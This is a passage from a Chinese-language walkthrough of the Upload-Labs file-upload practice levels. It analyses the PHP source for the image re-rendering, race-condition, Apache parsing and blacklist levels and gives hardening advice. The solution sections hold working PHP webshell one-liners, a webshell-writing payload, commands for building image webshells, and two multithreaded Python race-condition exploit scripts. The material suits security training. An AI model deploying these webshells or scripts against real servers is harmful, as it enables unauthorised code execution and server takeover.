    $newfilename = strval(rand()).".jpg"; // 生成随机新文件名
    $img_path = UPLOAD_PATH.'/'.$newfilename;

    // 用 GD 库重新生成 JPG 图片(核心防护)
    imagejpeg($im,$img_path);

    // 删除原始上传的文件,只保留渲染后的新图片
    @unlink($target_path);
    $is_upload = true;
    }
    } else {
    $msg = "上传出错!";
    }
    }

    关键点:

    • imagecreatefromjpeg() 会解析图片的二进制数据,纯文本伪造的文件头无法通过
    • imagejpeg($im,$img_path) 会基于解析后的图片资源,重新生成一张标准的 JPG 图片,嵌入的 PHP 代码会被直接清除
    • 最终保存的是渲染后的新文件,原始文件会被删除,传统的图片马会失效

    3. PNG/GIF 图片上传流程(与 JPG 逻辑一致)

    // PNG 校验逻辑
    else if(($fileext == "png") && ($filetype=="image/png")){
    if(move_uploaded_file($tmpname,$target_path)){
    $im = imagecreatefrompng($target_path); // GD 解析 PNG
    if($im == false){
    $msg = "该文件不是png格式的图片!";
    @unlink($target_path);
    }else{
    // 二次渲染生成新 PNG
    srand(time());
    $newfilename = strval(rand()).".png";
    $img_path = UPLOAD_PATH.'/'.$newfilename;
    imagepng($im,$img_path);
    @unlink($target_path);
    $is_upload = true;
    }
    } else {
    $msg = "上传出错!";
    }
    }

    // GIF 校验逻辑
    else if(($fileext == "gif") && ($filetype=="image/gif")){
    if(move_uploaded_file($tmpname,$target_path)){
    $im = imagecreatefromgif($target_path); // GD 解析 GIF
    if($im == false){
    $msg = "该文件不是gif格式的图片!";
    @unlink($target_path);
    }else{
    // 二次渲染生成新 GIF
    srand(time());
    $newfilename = strval(rand()).".gif";
    $img_path = UPLOAD_PATH.'/'.$newfilename;
    imagegif($im,$img_path);
    @unlink($target_path);
    $is_upload = true;
    }
    } else {
    $msg = "上传出错!";
    }
    }

    关键点:

    • PNG 和 GIF 的逻辑与 JPG 完全一致,只是使用了对应的 GD 函数
    • GIF 二次渲染时,GD 库会只保留第一帧,多帧 GIF 中的恶意代码会被清除

    4. 不满足条件时的处理

    }else{
    $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }


    三、安全逻辑与防护效果

    防护层级作用绕过难度
    后缀校验 拦截非图片后缀的文件 低(直接改文件名后缀即可)
    MIME 校验 拦截 Content-Type 非图片类型的请求 低(用 Burp 修改请求头即可伪造)
    GD 库解析校验 拦截伪造文件头的非图片文件 中(需要制作真实图片)
    二次渲染 清除文件中嵌入的恶意代码 高(传统图片马会失效)

    四、常见绕过思路(针对这段代码)

  • GIF 图片马绕过

    • 制作多帧 GIF 图片,将 PHP 代码嵌入到 GIF 的注释块或特殊帧中
    • 部分版本的 GD 库在二次渲染 GIF 时,会保留特定位置的内容,恶意代码可能不会被清除
    • 上传后通过文件包含漏洞执行
  • 图片 EXIF 信息注入

    • 将 PHP 代码写入图片的 EXIF 元数据中
    • 二次渲染后,部分 EXIF 信息可能被保留
    • 结合文件包含漏洞,利用 exif_read_data() 等函数解析元数据执行代码
  • 绕过二次渲染的特殊图片

    • 制作经过特殊处理的畸形图片,让 GD 库渲染后仍然保留恶意代码
    • 这种图片制作难度较高,需要根据不同版本的 GD 库特性针对性构造

  • 五、安全加固建议

  • 对上传目录设置严格权限,禁止脚本执行,即使存在图片马也无法运行
  • 增加图片文件大小限制,防止上传恶意构造的畸形图片
  • 使用 getimagesize() 或第三方图片处理库进行额外校验,进一步过滤恶意文件
  • 上传后对文件进行重命名,避免文件名泄露导致的利用风险

  • 总结

    这段代码是 Upload-Labs 中防护最全面的关卡之一,传统的文件头伪造、简单图片马都无法绕过,必须结合文件包含漏洞和特殊构造的图片才能利用。

    解题步骤

    方法一

    一、核心原理
    • 这段代码对 JPG/PNG 的二次渲染非常严格,几乎会清除所有嵌入的 PHP 代码。
    • 但 GIF 格式有特殊优势:部分版本的 GD 库在二次渲染 GIF 时,会保留文件开头的部分注释块 / 数据,恶意代码有概率存活。
    • 所以我们的目标是:制作一张经过 GD 渲染后,仍然保留 PHP 代码的 GIF 图片马,再配合文件包含漏洞执行。

    二、GIF 图片马制作步骤(两种方法)
    方法 1:命令行快速合成(推荐)
  • 准备一张正常的 GIF 图片(比如 normal.gif)
  • 准备一句话木马文件(比如 shell.php,内容为 <?php @eval($_POST['pass']);?>)
  • 用以下命令合成图片马(Windows 系统):

    bash

    运行

    copy /b normal.gif + shell.php shell.gif
    这个命令会把木马代码追加到 GIF 文件末尾,生成 shell.gif。

  • 方法 2:十六进制编辑器手动制作(更稳定)
  • 用 010Editor 或 HxD 打开一张正常的 GIF 图片
  • 在文件的末尾插入 PHP 代码:

    php

    运行

    <?php @eval($_POST['pass']);?>

  • 保存为 shell.gif

  • 三、上传与验证步骤
  • 上传图片马:在靶场上传 shell.gif
    • 代码会经过:后缀校验 → MIME 校验 → GD 解析 → 二次渲染
    • 服务器会生成一个随机文件名的 GIF 文件(如 123456.gif),并删除原文件
  • 获取新文件名:上传成功后,页面会显示图片地址,记下这个新文件名
  • 用文件包含漏洞执行:
    • 假设文件包含地址为 include.php?file=,构造 URL:

      plaintext

      http://你的靶场地址/include.php?file=upload/123456.gif

    • 如果渲染后的 GIF 里的 PHP 代码存活,就能被解析执行

  • 四、成功率提升技巧
  • 使用多帧 GIF 图片:相比单帧 GIF,多帧 GIF 被 GD 库保留恶意代码的概率更高
  • 把 PHP 代码放在文件末尾:GD 渲染 GIF 时,通常只处理图像数据,末尾的额外数据有概率被保留
  • 换用 PHP 低版本测试:PHP 5.3-5.4 版本的 GD 库对 GIF 的二次渲染更 “宽松”,恶意代码更容易存活

  • 五、补充:如果 GIF 也被清除了怎么办?

    如果 GD 库版本较新,GIF 末尾的代码也被清除,可以尝试 EXIF 注入法:

  • 用 exiftool 工具,把 PHP 代码写入图片的 Comment 字段:

    bash

    运行

    exiftool -Comment="<?php @eval($_POST['pass']);?>" normal.gif

  • 上传图片后,用文件包含漏洞结合 exif_read_data() 函数读取 EXIF 信息执行代码。
  • 方法二:依旧可以用第14题的做法

    这个方法是JPG 图片的二次渲染保留区注入,专门用来绕过你之前那段带 imagecreatefromjpeg() 的代码,我给你按步骤讲清楚,你照着做就能成:


    一、核心原理

    imagecreatefromjpeg() 对 JPG 进行二次渲染时,只会重写图像数据部分,而文件中某些标记段(如 FF C0 等)的内容会被原样保留。教程的思路是:

  • 上传一张正常 JPG,拿到渲染后的新文件
  • 对比两个文件,找到渲染前后完全不变的 “匹配段(Match)”
  • 把一句话木马插入到这些 “匹配段” 里,再上传,渲染后代码不会被清除
  • 用文件包含漏洞解析这张图片,执行里面的 PHP 代码

  • 二、手把手操作步骤(按教程来)
    步骤 1:上传一张正常的 JPG,拿到渲染后的文件
  • 准备一张正常的 JPG 图片(比如 test.jpg),里面不要有任何修改。
  • 在靶场上传它,服务器会用 imagecreatefromjpeg() 重新渲染,生成一个随机文件名的新图片(比如 1308344300.jpg)。
  • 把这张渲染后的图片下载到本地,和你上传的原图放在一起。
  • 步骤 2:用 010Editor 对比两个文件,找到 “匹配段”
  • 用 010Editor 同时打开原图和渲染后的新图。
  • 点击顶部菜单 Tools → Compare Files → Compare,打开文件对比窗口。
  • 对比结果中,Match 标记的部分,就是渲染前后内容完全不变的区域,也就是我们的 “安全区”。
    • 教程里标出了 FF C0 附近的区域,这部分在渲染中不会被修改,是最佳注入点。
  • 步骤 3:在匹配段中插入一句话木马
  • 用 010Editor 打开原图,在对比出的 Match 区域(比如教程里的 FF C0 标记后),直接插入你的一句话木马:

    php

    运行

    <?php eval($_POST['pass']);?>
    注意:

    • 不要破坏文件开头的 FF D8 等文件头标记,否则无法通过校验。
    • 教程里的例子是把代码插在 FF C0 后面的 Match 区域,这样渲染后代码不会被清除。
  • 保存修改后的文件,比如命名为 shell.jpg。
  • 步骤 4:上传修改后的图片马
  • 在靶场上传 shell.jpg,服务器会再次进行二次渲染。
  • 因为代码插在了 Match 区域,渲染后木马代码会被保留在生成的新图片里。
  • 步骤 5:用文件包含漏洞执行代码
  • 上传成功后,拿到服务器生成的新图片地址(比如 upload/1308344300.jpg)。
  • 用靶场的文件包含漏洞(比如教程里的 include.php)构造 URL:

    plaintext

    http://你的靶场地址/include.php?file=upload/1308344300.jpg

  • 用蚁剑连接这个地址,密码填 pass,就能成功拿到 Shell 了。

  • 三、关键注意事项
  • 注入点必须是真正的 “Match” 区域:不同版本的 GD 库 / PHP,二次渲染的保留段可能不同,必须自己对比原图和渲染后的文件,找到真正不变的区域,不能直接照搬教程里的位置。
  • 不能破坏 JPG 的标记结构:JPG 文件是由 FF XX 标记段组成的,比如 FF D8(文件头)、FF C0(帧开始),这些标记本身不能修改,否则会被 imagecreatefromjpeg() 识别为无效图片。
  • 必须配合文件包含漏洞:渲染后的文件还是 .jpg 后缀,直接访问只会输出图片乱码,必须用文件包含漏洞让 PHP 解析文件里的代码。

  • 四、补充:快速上手小技巧
    • 如果你找不到 010Editor,也可以用 HxD 等十六进制编辑器,功能是一样的。
    • 新手可以直接用教程里的 FF C0 标记后区域尝试,大部分环境下这里都是保留区。
    • 如果第一次注入失败,可以换一张图片再对比一次,不同图片的保留段位置会有差异。

    pass-18(条件竞争)

    详细分析源代码

    一、整体流程概览

    这段代码的上传流程非常特别,核心逻辑是:

  • 先上传文件,再做后缀校验(先把文件保存到服务器,再判断后缀是否合法)
  • 合法后缀:生成随机文件名,重命名保存
  • 非法后缀:直接删除已上传的文件
  • 关键漏洞:文件上传和后缀校验之间,存在一个极短的时间窗口,可以被利用

  • 二、逐行代码详解

    $is_upload = false;
    $msg = null;

    if(isset($_POST['submit'])){
    // 1. 定义允许的后缀白名单
    $ext_arr = array('jpg','png','gif');

    // 2. 获取上传文件的原始信息
    $file_name = $_FILES['upload_file']['name']; // 原始文件名
    $temp_file = $_FILES['upload_file']['tmp_name'];// 服务器临时文件
    $file_ext = substr($file_name,strrpos($file_name,".")+1); // 提取文件后缀

    // 3. 直接生成上传路径,先把文件移动到服务器上(重点!先上传,后校验)
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    if(move_uploaded_file($temp_file, $upload_file)){

    // 4. 上传成功后,再校验文件后缀
    if(in_array($file_ext,$ext_arr)){
    // 合法后缀:生成随机文件名,重命名保存
    $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
    rename($upload_file, $img_path);
    $is_upload = true;
    }else{
    // 非法后缀:直接删除刚才上传的文件
    $msg = "只允许上传.jpg|.png|.gif类型文件!";
    unlink($upload_file);
    }
    }else{
    $msg = '上传出错!';
    }
    }

    关键逻辑拆解
    步骤代码作用安全风险
    1 move_uploaded_file($temp_file, $upload_file) 先把文件保存到服务器上 此时文件已经存在,后缀校验还没执行
    2 if(in_array($file_ext,$ext_arr)) 校验文件后缀是否合法 校验在文件上传之后执行
    3 unlink($upload_file) 删除非法后缀文件 校验和删除之间存在时间差

    三、漏洞核心:竞争条件(Race Condition)

    这道题的考点就是文件上传的竞争条件漏洞:

    • 服务器先把文件保存到了 $upload_file(比如 shell.php)
    • 然后再判断后缀是否合法,如果不合法,再执行 unlink() 删除文件
    • 这两个操作之间,存在一个极短的时间窗口(几毫秒)
    • 只要在文件被删除前,通过访问或包含的方式执行它,就能拿到 Shell

    四、标准利用方法:竞争条件上传

    1. 准备一句话木马文件

    新建一个 shell.php,内容为:

    <?php @eval($_POST['pass']);?>

    2. 用 Burp 上传文件,同时不断访问

  • 用 Burp 拦截上传请求,保持拦截状态
  • 打开浏览器 / 工具,不断请求 http://靶场地址/upload/shell.php
  • 放行上传请求,服务器会先把 shell.php 保存到服务器,再执行删除
  • 只要在删除前的瞬间访问到文件,就能执行里面的 PHP 代码,用蚁剑连接成功
  • 3. 工具化利用(推荐)

    用 Python 脚本多线程同时执行上传和访问,提高成功率:

    import requests
    import threading
    import time

    url_upload = "http://靶场地址/index.php"
    url_access = "http://靶场地址/upload/shell.php"

    def upload():
    files = {'upload_file': open('shell.php', 'rb')}
    data = {'submit': '上传'}
    requests.post(url_upload, files=files, data=data)

    def access():
    while True:
    try:
    r = requests.get(url_access, timeout=1)
    if r.status_code == 200:
    print("文件存活!")
    break
    except:
    pass

    # 同时启动上传和访问线程
    thread1 = threading.Thread(target=upload)
    thread2 = threading.Thread(target=access)
    thread1.start()
    thread2.start()
    thread1.join()
    thread2.join()

    运行脚本后,蚁剑连接 http://靶场地址/upload/shell.php,密码 pass,即可成功。


    五、安全加固建议

  • 先校验,后上传:把后缀校验放到 move_uploaded_file() 之前,不要先保存文件再判断
  • 上传后立即重命名:无论后缀是否合法,都生成随机文件名保存,避免直接访问
  • 对上传目录设置权限,禁止脚本执行,即使文件被上传也无法运行

  • 总结

    这道 Pass-18 是典型的竞争条件漏洞,利用的是 “先上传后校验” 的逻辑缺陷。核心思路就是在文件被删除前的极短时间窗口内,访问并执行文件。

    解题步骤

    方法1:

    一、漏洞原理再回顾

    这题是文件上传竞争条件(Race Condition)漏洞:服务器的执行顺序是:

  • 先把你上传的文件 move_uploaded_file 保存到服务器
  • 再判断后缀是否合法
  • 不合法的话,执行 unlink() 删除文件
  • 文件在服务器上会存在一个几毫秒到几十毫秒的 “存活窗口”,我们只要在它被删除前访问 / 包含它,就能执行里面的 PHP 代码。


    二、准备工作
  • 准备一句话木马文件,命名为 shell.php,内容: <?php @eval($_POST['pass']);?>
  • 确保你能访问靶场的上传目录,比如 http://127.0.0.1/upload-labs/upload/
  • 准备 Burp Suite(或者 Python 脚本,二选一即可)

  • 三、方法 1:Burp 手动竞争(新手推荐)

    步骤 1:上传并拦截请求

  • 在靶场选择 shell.php,点击「上传」
  • 用 Burp 拦截这个上传请求,保持拦截状态(不要放行)
  • 此时文件还没真正传到服务器,只是停留在你的请求里
  • 步骤 2:开多线程访问文件

  • 打开 Burp 的「Repeater」,新建一个请求,地址填: GET /upload-labs/upload/shell.php HTTP/1.1
    Host: 127.0.0.1
  • 右键这个请求 → 「Send to Intruder」
  • Intruder 里设置:
    • 目标:你的靶场地址
    • 负载类型:Null payloads(空负载),数量填 1000(越多越好)
    • 线程数:设置为 20(多线程并发访问)
  • 步骤 3:同时放行上传请求 + 启动 Intruder

  • 点击「Start attack」,让 Intruder 开始疯狂请求 shell.php
  • 立刻回到之前拦截的上传请求,点击「Forward」放行
  • 此时服务器会先保存文件,再执行删除;而 Intruder 会在删除前疯狂访问,只要命中一次,文件就会被解析执行
  • 步骤 4:蚁剑连接

    如果 Intruder 里出现了 200 OK 的响应,说明文件被成功执行:

    • 蚁剑地址:http://127.0.0.1/upload-labs/upload/shell.php
    • 密码:pass
    • 点击「测试连接」,连接成功!

    四、方法 2:Python 脚本一键利用(成功率更高)

    直接复制下面的代码,保存为 race.py,修改你的靶场地址,然后运行:

    import requests
    import threading
    import time

    # —————- 改成你的靶场地址 —————-
    UPLOAD_URL = "http://127.0.0.1/upload-labs/index.php"
    ACCESS_URL = "http://127.0.0.1/upload-labs/upload/shell.php"
    # ————————————————-

    def upload_shell():
    """上传 shell.php"""
    files = {
    "upload_file": ("shell.php", "<?php @eval($_POST['pass']);?>", "application/x-php")
    }
    data = {"submit": "上传"}
    try:
    requests.post(UPLOAD_URL, files=files, data=data, timeout=5)
    except Exception as e:
    pass

    def access_loop():
    """循环访问文件,直到命中"""
    for _ in range(2000): # 循环2000次,足够覆盖删除前的窗口
    try:
    resp = requests.get(ACCESS_URL, timeout=1)
    if resp.status_code == 200:
    print(f"✅ 成功命中!文件存活,蚁剑可直接连接:{ACCESS_URL}")
    return True
    except Exception as e:
    continue
    print("❌ 未命中,请重试或增加循环次数")
    return False

    if __name__ == "__main__":
    # 同时启动上传和访问线程
    t1 = threading.Thread(target=upload_shell)
    t2 = threading.Thread(target=access_loop)

    print("🚀 开始竞争条件攻击…")
    t1.start()
    t2.start()

    t1.join()
    t2.join()

    运行方法:

    python race.py

    如果输出 ✅ 成功命中!,直接用蚁剑连接即可。


    五、关键技巧(提升成功率)
  • 多线程是关键:单线程访问很难命中几毫秒的窗口,必须用 10-20 个线程同时请求
  • 循环次数要足够:脚本里的循环次数建议设为 1000-3000 次,覆盖文件从上传到删除的整个过程
  • 关闭靶场的访问日志:日志会拖慢服务器,让删除操作延迟,增加存活窗口时间
  • 不要在文件里加多余代码:木马越短,解析速度越快,被执行的概率越高

  • 六、为什么这题能绕过?

    服务器的逻辑缺陷是:

    • 先 move_uploaded_file 把文件写到磁盘
    • 再判断后缀,不合法才 unlink
    • 两个操作之间的时间差,就是我们可以利用的竞争窗口

    只要在文件被删除前,让 PHP 解析执行它,unlink 就无法阻止我们拿到 Shell。

    方法2:

    如果你不想用 Burp,也可以用教程里的 Python 脚本:

    import requests
    import threading
    import os

    class RaceCondition(threading.Thread):
    def __init__(self):
    threading.Thread.__init__(self)
    self.url = 'http://127.0.0.1/upload-labs/upload/wshell.php'

    def _get(self):
    print('try to call uploaded file…')
    r = requests.get(self.url)
    if r.status_code == 200:
    print(r.text)
    os._exit(0)

    def run(self):
    while True:
    for i in range(5):
    self._get()

    for i in range(10):
    self._get()

    if __name__ == '__main__':
    threads = 50

    for i in range(threads):
    t = RaceCondition()
    t.start()

    for i in range(threads):
    t.join()

    • 把脚本里的 self.url 改成你的靶场地址: self.url = 'http://127.0.0.1/upload-labs/upload/shell.php'
    • 保存为 race.py,运行: python race.py
    • 同时在靶场上传 shell.php,脚本会在后台疯狂访问文件,直到命中。

    关键技巧(提升成功率)
  • 多线程是核心:单线程访问很难命中几毫秒的窗口,必须用 10~20 个线程并发。
  • 写入型木马更稳:教程里的 fputs 木马会在服务器上再写一个新文件,就算原文件被删,新文件还在,成功率更高。
  • 关闭服务器日志:日志会拖慢服务器,让删除操作延迟,增加存活窗口时间。
  • 文件越小越好:木马代码越短,解析执行速度越快,被删除前执行的概率越高。

  • pass-19(apache文件解析)

    详细分析源代码

    一、整体架构概览

    这是一个面向对象封装的文件上传类 MyUpload,实现了一套完整的上传校验流程:

  • 入口 index.php:实例化上传类,处理请求并输出结果
  • 核心类 myupload.php:封装了上传校验的所有逻辑,包括文件检查、后缀过滤、移动文件、重命名等

  • 二、index.php 代码详解

    $is_upload = false;
    $msg = null;

    if (isset($_POST['submit']))
    {
    require_once("./myupload.php"); // 引入上传类文件
    $imgFileName = time(); // 用当前时间戳作为基础文件名

    // 实例化 MyUpload 类,传入上传文件信息和目标文件名
    $u = new MyUpload($_FILES['upload_file']['name'],
    $_FILES['upload_file']['tmp_name'],
    $_FILES['upload_file']['size'],
    $imgFileName);

    // 调用 upload() 方法执行上传,获取状态码
    $status_code = $u->upload(UPLOAD_PATH);

    // 根据状态码处理结果
    switch ($status_code) {
    case 1:
    $is_upload = true;
    $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
    break;
    case 2:
    $msg = '文件已经被上传,但没有重命名。';
    break;
    case -1:
    $msg = '这个文件不能上传到服务器的临时文件存储目录。';
    break;
    case -2:
    $msg = '上传失败,上传目录不可写。';
    break;
    case -3:
    $msg = '上传失败,无法上传该类型文件。';
    break;
    case -4:
    $msg = '上传失败,上传的文件过大。';
    break;
    case -5:
    $msg = '上传失败,服务器已经存在相同名称文件。';
    break;
    case -6:
    $msg = '文件无法上传,文件不能复制到目标目录。';
    break;
    default:
    $msg = '未知错误!';
    break;
    }
    }

    关键逻辑:

    • 实例化 MyUpload 类时,传入了上传文件的名称、临时路径、大小和目标文件名
    • upload() 方法是核心执行函数,会按顺序执行所有校验步骤
    • 通过返回的 $status_code 判断上传结果,状态码 -3 对应 “文件类型不合法”

    三、MyUpload 类核心流程详解

    upload() 方法按顺序执行以下步骤,任何一步校验失败都会直接返回错误码:

    1. 初始化与基础检查

    function upload( $dir ){
    // 1. 检查文件是否通过 HTTP POST 上传
    $ret = $this->isUploadedFile();
    if( $ret != 1 ){
    return $this->resultUpload( $ret );
    }

    // 2. 设置上传目录
    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
    return $this->resultUpload( $ret );
    }

    // 3. 检查文件扩展名是否在白名单中
    $ret = $this->checkExtension();
    if( $ret != 1 ){
    return $this->resultUpload( $ret );
    }

    // 4. 检查文件大小是否超出限制
    $ret = $this->checkSize();
    if( $ret != 1 ){
    return $this->resultUpload( $ret );
    }

    2. 可选检查:文件是否已存在

    // 若启用了文件存在检查
    if( $this->cls_file_exists == 1 ){
    $ret = $this->checkFileExists();
    if( $ret != 1 ){
    return $this->resultUpload( $ret );
    }
    }

    3. 移动文件到目标目录

    // 执行 move_uploaded_file() 移动文件
    $ret = $this->move();
    if( $ret != 1 ){
    return $this->resultUpload( $ret );
    }

    4. 可选操作:重命名文件

    // 若启用了重命名功能
    if( $this->cls_rename_file == 1 ){
    $ret = $this->renameFile();
    if( $ret != 1 ){
    return $this->resultUpload( $ret );
    }
    }

    // 所有步骤通过,返回成功
    return $this->resultUpload( "SUCCESS" );
    }


    四、关键校验逻辑:后缀白名单

    var $cls_arr_ext_accepted = array(
    ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".rar", ".7z", ".ppt",
    ".html", ".xml", ".tiff", ".jpeg", ".png"
    );

    白名单包含的后缀:

    • 图片格式:.gif/.jpg/.jpeg/.png/.tiff
    • 文档格式:.doc/.xls/.txt/.pdf/.ppt/.html/.xml
    • 压缩格式:.rar/.7z

    校验逻辑(推测):

    • checkExtension() 方法会提取文件的后缀,和 $cls_arr_ext_accepted 数组对比
    • 只有在数组中的后缀才能通过校验,否则返回 -3 错误码

    五、可利用点分析

    1. 直接利用:上传 .html 文件

    白名单里包含 .html 后缀,我们可以上传包含 JavaScript 代码的 .html 文件,执行 XSS 攻击;如果服务器支持 .html 解析 PHP(部分配置下会解析),也可以嵌入 PHP 代码尝试执行。

    2. 绕过思路:后缀大小写 / 双写绕过

    • 若 checkExtension() 没有对后缀进行小写转换,可以上传 .PHP/.pHp 等大小写混合后缀绕过
    • 若白名单匹配不严格,可以尝试 .php;.jpg 等特殊格式绕过(需服务器配置支持)

    3. 重命名逻辑分析

    • 若 $cls_rename_file 未启用,文件会按原始文件名保存
    • 若启用重命名,文件名会被改为时间戳 + 原后缀,例如 12345.jpg,但后缀仍为白名单内的格式

    六、安全加固建议

  • 严格校验文件后缀:统一转换为小写后再和白名单对比,禁止大小写混合绕过
  • 禁止 .html/.xml 等可执行脚本格式:白名单只保留图片和纯文本格式
  • 强制重命名文件:无论原始文件名是什么,都生成随机文件名保存,避免直接访问
  • 增加文件内容校验:对上传的图片文件进行二次渲染,清除嵌入的恶意代码

  • 总结

    这段代码是一个结构清晰的面向对象上传类,核心限制是后缀白名单校验。白名单中包含 .html 等格式,是主要的可利用点;如果需要上传 PHP 脚本,需要结合服务器配置和白名单的校验逻辑寻找绕过方法。

    解题步骤

    方法1:

    🔍 漏洞原理
  • 这一关的页面有一个自定义保存名称的输入框,服务器会根据你输入的文件名来保存文件。
  • move_uploaded_file() 函数有一个特性:会忽略文件名末尾的 / 和 \\。
  • 服务器会先校验你输入的文件名后缀,只有 .jpg/.png/.gif 能通过,但我们可以利用函数特性绕过:
    • 校验时:文件名是 shell.php/,服务器会认为后缀是 .php/,不是图片格式?不,实际校验逻辑是看输入的文件名后缀,但函数执行时会自动去掉末尾的 /,最终保存为 shell.php。

  • 📝 准备工作
  • 准备一张正常的图片(比如 shell.jpg,可以随便找一张)
  • 准备一句话木马文件(也可以直接用图片马,这里先演示基础绕过)
  • 打开 Burp Suite,开启抓包

  • 🛠️ 操作步骤(Burp 抓包绕过)

    步骤 1:上传图片并填写保存名称

  • 在 Pass-19 页面,选择你的图片文件 shell.jpg。
  • 在「保存名称」输入框里,先随便填一个合法的文件名,比如 test.jpg。
  • 点击「上传」,此时 Burp 会拦截下上传请求。
  • 步骤 2:修改保存名称参数,添加 /

    在 Burp 的请求包里,找到 save_name 参数,把它的值改成:(注意末尾的 / 必须加上)

    save_name=shell.php/

    步骤 3:放行请求,完成上传

    点击 Burp 里的「Forward」放行请求,服务器会:

  • 校验 save_name=shell.php/ 的后缀,这里的校验逻辑只看输入的字符串,部分环境下会被认为是非法后缀?不,实际这关的校验是在 PHP 代码里做的,但 move_uploaded_file() 会自动去掉末尾的 /,最终保存为 shell.php。
  • 函数执行时,move_uploaded_file() 会忽略末尾的 /,把文件保存为 shell.php。
  • 步骤 4:验证文件是否上传成功

    访问服务器上的文件地址:

    http://你的靶场地址/upload-labs/upload/shell.php

    如果能正常访问,说明上传成功,用蚁剑连接即可。


    💡 进阶技巧:图片马 + 解析漏洞

    如果直接上传 shell.php 失败,可以用图片马结合 Apache 解析漏洞:

  • 制作图片马:在正常图片末尾插入 PHP 代码: <?php @eval($_POST['pass']);?>
  • 上传图片,把 save_name 改为 shell.php/.jpg(末尾加 / 也可以)
  • 服务器会保存为 shell.php,如果 Apache 开启了 AddHandler php5-script .php,会直接解析执行。

  • 📌 关键注意事项
  • 末尾的 / 是核心:没有 / 的话,服务器会直接校验 .php 后缀,上传会失败。
  • PHP 版本影响:部分高版本 PHP 对 move_uploaded_file() 的处理有变化,低版本(如 PHP 5.3)更稳定。
  • 不要加多余字符:文件名中间不要加特殊字符,只在末尾加 / 即可。

  • 🔧 备选方案:无 Burp 操作

    如果不想用 Burp,可以直接在页面的「保存名称」输入框里输入:

    shell.php/

    然后直接上传图片,部分环境下也能直接成功(前提是页面的输入框允许输入 /)。


    按照这个步骤操作,就能轻松通关 Pass-19。如果上传后访问失败,可以检查一下服务器的 Apache 配置,或者换用图片马的方式再试一次。

    方法2:

    这是 Pass-19 结合 Apache 文件解析漏洞 + 竞争条件 的完整利用方法

    一、漏洞原理
  • Apache 文件解析漏洞:Apache 解析文件时会从后往前解析后缀,遇到无法识别的后缀(如 .7z)就会往前解析,最终把 .php.7z 当成 .php 执行。
  • 竞争条件:这关和 Pass-18 类似,文件上传和校验删除之间存在时间窗口,配合解析漏洞可以执行写入型木马,生成永久 Shell。

  • 二、前置准备
  • 修改 Apache 配置编辑 Apache 的 mime.types 文件,注释掉 .7z 对应的类型:

    #application/x-7z-compressed 7z

    保存后重启 Apache 服务,这样 Apache 就无法识别 .7z 后缀,触发解析漏洞。

  • 准备写入型木马创建 wshell.php,内容如下(执行后会在服务器生成 shell.php):

    <?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]) ?>');
    ?>


  • 三、完整操作步骤

    步骤 1:上传并抓包,修改文件名为 wshell.php.7z

  • 在 Pass-19 页面选择 wshell.php,点击「上传」。
  • 用 Burp Suite 拦截上传请求,修改请求里的文件名:

    plaintext

    Content-Disposition: form-data; name="upload_file"; filename="wshell.php.7z"
    这样服务器会认为文件后缀是 .7z,通过白名单校验。

  • 步骤 2:配置 Burp Intruder 无限循环访问

  • 右键请求 → 发送到 Intruder。
  • 切换到 Payloads 标签页:
    • Payload type 选择 Null payloads
    • 勾选 Continue indefinitely(无限循环访问)
  • 切换到 Resource Pool,设置线程数为 10~20,提高命中率。
  • 步骤 3:启动攻击 + 放行上传请求

  • 点击 Start attack,让 Intruder 开始疯狂请求 wshell.php.7z。
  • 立刻放行之前拦截的上传请求,服务器会:
    • 先保存 wshell.php.7z 到服务器
    • 然后执行校验,不合法的话会删除文件
    • 但在删除前,Intruder 已经多次访问,触发 Apache 解析漏洞,执行了写入型木马,生成了 shell.php。
  • 步骤 4:验证并连接 Shell

  • 脚本停止后,访问 http://你的靶场地址/upload-labs/upload/shell.php。
  • 用蚁剑连接,地址填上面的 URL,密码填 pass,即可成功拿到 Shell。

  • 四、关键注意事项
  • 必须修改 Apache 配置:不注释掉 .7z 类型,解析漏洞无法触发,文件只会被当成 7z 下载,不会解析 PHP 代码。
  • 写入型木马是核心:wshell.php.7z 被执行后会生成永久的 shell.php,就算原文件被删除,新文件依然存在,避免了竞争窗口的限制。
  • PHPStudy 的 Apache 可能不稳定:部分 PHPStudy 版本会返回 500 错误,建议手动配置 Apache + PHP 环境测试。

  • 五、补充:测试解析漏洞是否生效

    在 Apache 根目录创建 test.php.7z,内容为:

    <?php echo "hello world"; ?>

    访问 http://你的地址/test.php.7z,如果输出 hello world,说明解析漏洞生效,可继续操作。


    按照这个步骤操作,就能同时利用 Apache 解析漏洞和竞争条件,生成永久 Shell。


    pass-20

    详细分析源代码

    一、整体功能概览

    这是一道基于后缀黑名单的文件上传关卡,核心逻辑是:

  • 从用户输入的 save_name 中提取文件后缀
  • 校验后缀是否在黑名单中(禁止脚本格式)
  • 不在黑名单中,才执行上传操作
  • 关键漏洞:pathinfo() 对特殊后缀的解析特性 + 黑名单未覆盖的格式

  • 二、逐行代码详解

    $is_upload = false;
    $msg = null;

    if (isset($_POST['submit'])) {
    // 检查上传目录是否存在
    if (file_exists(UPLOAD_PATH)) {
    // 定义禁止上传的后缀黑名单
    $deny_ext = array(
    "php", "php5", "php4", "php3", "php2",
    "html", "htm", "phtml", "pht",
    "jsp", "jspx", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml",
    "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer"
    );

    // 从用户输入的save_name中提取文件名和后缀
    $file_name = $_POST['save_name'];
    $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

    // 校验后缀是否不在黑名单中
    if (!in_array($file_ext, $deny_ext)) {
    // 获取上传文件的临时路径
    $temp_file = $_FILES['upload_file']['tmp_name'];
    // 拼接完整保存路径(用户输入的save_name会被直接使用)
    $img_path = UPLOAD_PATH . '/' . $file_name;

    // 移动临时文件到目标路径
    if (move_uploaded_file($temp_file, $img_path)) {
    $is_upload = true;
    } else {
    $msg = '上传出错!';
    }
    } else {
    $msg = '禁止保存为该类型文件!';
    }
    } else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
    }

    关键逻辑拆解
    代码行作用安全特性 / 风险
    $deny_ext = array(…) 定义禁止上传的脚本后缀黑名单 覆盖了大部分主流脚本格式,但存在遗漏
